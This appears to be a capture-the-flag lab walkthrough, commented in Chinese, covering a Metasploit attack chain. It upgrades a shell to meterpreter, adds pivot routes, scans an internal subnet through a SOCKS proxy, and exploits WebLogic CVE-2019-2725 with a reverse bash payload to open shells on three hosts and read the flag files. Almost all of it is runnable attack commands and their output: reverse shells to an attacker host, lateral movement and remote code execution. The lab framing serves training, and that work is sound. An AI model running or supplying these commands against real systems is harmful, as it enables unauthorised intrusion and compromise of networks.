1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325
| # 查询post包含meterpreter的攻击工具并使用 search meterpreter type:post # 或直接使用post/multi/manage/shell_to_meterpreter use post/multi/manage/shell_to_meterpreter # 查看可配置参数列表 show options
# Module options (post/multi/manage/shell_to_meterpreter): #
# ---- --------------- -------- ----------- # HANDLER true yes Start an exploit/multi/handler to receive the connection # LHOST no IP of host that will receive the connection from the payload (Will try to auto detect). # LPORT 4433 yes Port for payload to connect to. # SESSION yes The session to run this module on
# 设置攻击主机 set lhost 192.168.172.128 # 指定1号会话进行升级 set session 1 # 后台运行 run -j # 查看打开的 reverse shell sessions -l
# Active sessions # =============== #
# -- ---- ---- ----------- ---------- # 1 shell cmd/unix 192.168.172.128:4444 -> 192.171.84.5:56920 (192.168.172.128) # 2 meterpreter x86/linux root @ 192.171.84.5 192.168.172.128:4433 -> 192.171.84.5:52264 (192.168.172.128)
# 进入 meterpreter 会话 2 sessions -i 2 # 查看网卡列表 ipconfig
# Interface 1 # ============ # Name : lo # Hardware MAC : 00:00:00:00:00:00 # MTU : 65536 # Flags : UP,LOOPBACK # IPv4 Address : 127.0.0.1 # IPv4 Netmask : 255.0.0.0 # # Interface 24 # ============ # Name : eth0 # Hardware MAC : 02:42:c0:ab:54:05 # MTU : 1500 # Flags : UP,BROADCAST,MULTICAST # IPv4 Address : 192.171.84.5 # IPv4 Netmask : 255.255.255.0
# 查看路由表 route
# IPv4 network routes # =================== #
# ------ ------- ------- ------ --------- # 0.0.0.0 0.0.0.0 192.171.84.1 0 eth0 # 192.171.84.0 255.255.255.0 0.0.0.0 0 eth0
# 查看 ARP 表 arp
# ARP cache # ========= #
# ---------- ----------- --------- # 192.171.84.1 02:42:96:03:ee:2a eth0
# 添加Pivot路由 run autoroute -s 192.171.84.0/24 # 检查Pivot路由是否已创建成功 run autoroute -p
# Active Routing Table # ==================== #
# ------ ------- ------- # 192.171.84.0 255.255.255.0 Session 2
#
# 使用auxiliary/scanner/portscan/tcp扫描 search portscan 或者 use auxiliary/scanner/portscan/tcp
# 查看可配置参数列表 show options
# Module options (auxiliary/scanner/portscan/tcp): #
# ---- --------------- -------- ----------- # CONCURRENCY 10 yes The number of concurrent ports to check per host # DELAY 0 yes The delay between connections, per thread, in milliseconds # JITTER 0 yes The delay jitter factor (maximum value by which to +/- DELAY) in milliseconds. # PORTS 1-10000 yes Ports to scan (e.g. 22-25,80,110-900) # RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html # THREADS 1 yes The number of concurrent threads (max one per host) # TIMEOUT 1000 yes The socket connect timeout in milliseconds
# 根据子网掩码推导 set rhosts 192.171.84.2-254 # 设置port set ports 1-66535 # 扫描 或者 set ports 7001 # 根据经验 # 设置线程数 set threads 10 # 开始扫描 run -j # # 查看主机存活情况 hosts
# Hosts # ===== #
# ------- --- ---- ------- --------- ----- ------- ---- -------- # 192.168.172.128 192.171.84.5 Debian 10.6 (Linux 6.8.11-amd64) firewall # 192.171.84.2 Unknown device # 192.171.84.3 Unknown device # 192.171.84.4 Unknown device # 192.171.84.5 client
# 查看发现的服务列表 services
# Services # ======== #
# ---- ---- ----- ---- ----- ---- # 192.168.172.128 9937 tcp closed # 192.171.84.2 7001 tcp open # 192.171.84.3 7001 tcp open # 192.171.84.4 7001 tcp open
# 使用auxiliary/server/socks_proxy search socks_proxy 或者 use auxiliary/server/socks_proxy # 开始扫描 run -j
# 或者在kali终端扫描 # 另开kali终端查看1080端口有无占用 ss -lntp | grep 1080 # 查看有没有安装proxychains4 apt policy proxychains4 # 安装过需要编辑配置文件 sudo vim /etc/proxychains4.conf # 注释socks4 127.0.0.1 9050,添加socks5 127.0.0.1 1080 或者 sudo sed -i.bak -r "s/socks4\s+127.0.0.1\s+9050/socks5 127.0.0.1 1080/g" /etc/proxychains4.conf # 再次查看1080端口 ss -lntp | grep 1080
# LISTEN 0 256 0.0.0.0:1080 0.0.0.0:* users:(("ruby",pid=62575,fd=15))
# 开始扫描(命令窗口运行) proxychains sudo nmap -vv -n -p 7001 -Pn -sT 192.171.84.2-5
# 回到metasploit会话窗口 # 重新进入 会话1 sessions -i 1 # 查看http请求详细信息 curl http://192.171.84.2:7001 -vv
# > GET / HTTP/1.1 # > Host: 192.171.84.2:7001 # > User-Agent: curl/7.64.0 # > Accept: */* # > # < HTTP/1.1 404 Not Found # < Date: Wed, 12 Jun 2024 11:24:32 GMT # < Content-Length: 1164 # < Content-Type: text/html; charset=UTF-8 # < X-Powered-By: Servlet/2.5 JSP/2.1 # < # { [1164 bytes data] # 100 1164 100 1164 0 0 33257 0 --:--:-- --:--:-- --:--:-- 34235 # * Connection # <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Draft//EN"> # <HTML> # <HEAD> # <TITLE>Error 404--Not Found</TITLE> # </HEAD> # <BODY bgcolor="white"> # <FONT FACE=Helvetica><BR CLEAR=all> # <TABLE border=0 cellspacing=5><TR><TD><BR CLEAR=all> # <FONT FACE="Helvetica" COLOR="black" SIZE="3"><H2>Error 404--Not Found</H2> # </FONT></TD></TR> # </TABLE> # <TABLE border=0 width=100% cellpadding=10><TR><TD VALIGN=top WIDTH=100% BGCOLOR=white><FONT FACE="Courier New"><FONT FACE="Helvetica" SIZE="3"><H3>From RFC 2068 <i>Hypertext Transfer Protocol -- HTTP/1.1</i>:</H3> # </FONT><FONT FACE="Helvetica" SIZE="3"><H4>10.4.5 404 Not Found</H4> # </FONT><P><FONT FACE="Courier New">The server has not found anything matching the Request-URI. No indication is given of whether the condition is temporary or permanent.</p><p>If the server does not wish to make this information available to the client, the status code 403 (Forbidden) can be used instead. The 410 (Gone) status code SHOULD be used if the server knows, through some internally configurable mechanism, that an old resource is permanently unavailable and has no # </FONT></TD></TR> # </TABLE> #
# </HTML>
curl http://192.171.84.3:7001 -vv curl http://192.171.84.4:7001 -vv
# 查找cve-2019-2725并使用 search cve-2019-2725 use 0 # 查看可配置参数列表 show options
# Module options (exploit/multi/misc/weblogic_deserialize_asyncresponseservice): #
# ---- --------------- -------- ----------- # Proxies no A proxy chain of format type:host:port[,type:host:port][...] # RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html # RPORT 7001 yes The target port (TCP) # SSL false no Negotiate SSL/TLS for outgoing connections # TARGETURI /_async/AsyncResponseService yes URL to AsyncResponseService # VHOST no HTTP server virtual host # # Payload options (cmd/unix/reverse_bash): #
# ---- --------------- -------- ----------- # LHOST yes The listen address (an interface may be specified) # LPORT 4444 yes The listen port # # Exploit target: #
# -- ---- # 0 Unix
# 分别设置不同的RHOSTS攻击 set RHOSTS 192.171.84.2 set RHOSTS 192.171.84.3 set RHOSTS 192.171.84.4 # 设置lhost set lhost 192.168.172.128 # 分别 run run -j # 查看打开的反向Shell sessions -l
# Active sessions # =============== #
# -- ---- ---- ----------- ---------- # 1 shell cmd/unix 192.168.172.128:4444 -> 192.171.84.5:39212 (192.168.172.128) # 2 meterpreter x86/linux root @ 192.171.84.5 192.168.172.128:4433 -> 192.171.84.5:37818 (192.168.172.128) # 3 shell cmd/unix 192.168.172.128:4444 -> 192.171.84.2:44310 (192.171.84.2) # 4 shell cmd/unix 192.168.172.128:4444 -> 192.171.84.3:48286 (192.171.84.3) # 5 shell cmd/unix 192.168.172.128:4444 -> 192.172.85.4:37296 (192.171.84.4)
# get flag2-4 sessions -c "ls /tmp" -i 3,4,5
# [*] Running 'ls /tmp' on shell session 3 (192.171.84.2) # bea1061393648233859820.tmp # cookie.txt # flag-{bmh72f110f7-e1fb-4e67-8a11-40c8b4024c5d} # hsperfdata_root # packages # wlstTemproot #
# bea1061393648233859820.tmp # cookie.txt # flag-{bmha5f01ddb-551d-4f7e-a630-323180cdba0a} # hsperfdata_root # packages # wlstTemproot #
# bea1061393648233859820.tmp # cookie.txt # flag-{bmhcf14ca31-3adf-4458-ae9e-84773b89b38f} # hsperfdata_root # packages # wlstTemproot
|